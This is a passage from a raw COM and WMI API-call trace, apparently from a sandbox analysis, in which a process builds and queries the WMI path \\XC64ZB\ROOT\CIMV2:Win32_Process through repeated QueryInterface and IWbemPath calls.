ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0118.144] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.145] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d2480) returned 0x0 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2480, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0118.145] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2480, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b01e0) returned 0x0 [0118.145] WbemDefPath:IUnknown:Release (This=0x1b4d2480) returned 0x0 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b01e0) returned 0x0 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0118.145] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0118.145] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2380) returned 0x0 [0118.146] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2380, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.146] WbemDefPath:IUnknown:Release (This=0x1b4d2380) returned 0x3 [0118.146] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0118.146] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0118.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0118.146] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0118.146] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0118.146] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0118.146] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0118.146] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b01e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b01e0) returned 0x0 [0118.146] WbemDefPath:IUnknown:AddRef (This=0x1b4b01e0) returned 0x3 [0118.146] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x2 [0118.146] WbemDefPath:IWbemPath:SetText (This=0x1b4b01e0, uMode=0x4, pszPath="") returned 0x0 [0118.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0118.146] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0118.146] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b01e0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0118.146] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b01e0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0118.146] WbemDefPath:IWbemPath:SetServer (This=0x1b4b01e0, Name="XC64ZB") returned 0x0 [0118.146] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0118.146] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0118.146] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0118.146] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.147] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4d1f60) returned 0x0 [0118.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1f60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0118.147] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1f60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4aefe0) returned 0x0 [0118.147] WbemDefPath:IUnknown:Release (This=0x1b4d1f60) returned 0x0 [0118.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4aefe0) returned 0x0 [0118.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0118.147] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0118.148] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0118.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0118.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0118.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4d2140) returned 0x0 [0118.148] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2140, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.148] WbemDefPath:IUnknown:Release (This=0x1b4d2140) returned 0x3 [0118.148] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0118.148] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0118.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0118.148] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0118.148] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0118.148] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0118.148] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0118.148] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4aefe0) returned 0x0 [0118.148] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0118.148] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0118.148] WbemDefPath:IWbemPath:SetText (This=0x1b4aefe0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0118.148] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0118.148] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0118.148] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0118.148] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0118.149] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b01e0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aefe0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aefe0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0118.149] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b01e0, uIndex=0x0, pszName="ROOT") returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aefe0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4aefe0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0118.149] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b01e0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4b01e0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0118.149] WbemDefPath:IWbemPath:SetClassName (This=0x1b4b01e0, Name="Win32_Process") returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b01e0, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b01e0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b01e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0118.149] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b01e0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0118.149] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0118.149] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0118.150] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0118.150] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.150] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4d2100) returned 0x0 [0118.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2100, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0118.150] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2100, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4b0360) returned 0x0 [0118.150] WbemDefPath:IUnknown:Release (This=0x1b4d2100) returned 0x0 [0118.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4b0360) returned 0x0 [0118.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0118.150] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0118.151] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0118.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0118.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0118.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4d24c0) returned 0x0 [0118.151] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d24c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.151] WbemDefPath:IUnknown:Release (This=0x1b4d24c0) returned 0x3 [0118.151] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0118.151] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0118.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0118.151] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0118.151] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0118.151] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0118.151] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0118.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0360, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4b0360) returned 0x0 [0118.151] WbemDefPath:IUnknown:AddRef (This=0x1b4b0360) returned 0x3 [0118.151] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x2 [0118.151] WbemDefPath:IWbemPath:SetText (This=0x1b4b0360, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0118.151] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b07e0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0118.151] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0118.151] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b07e0, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.152] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0118.152] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0118.152] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0118.152] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.152] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, 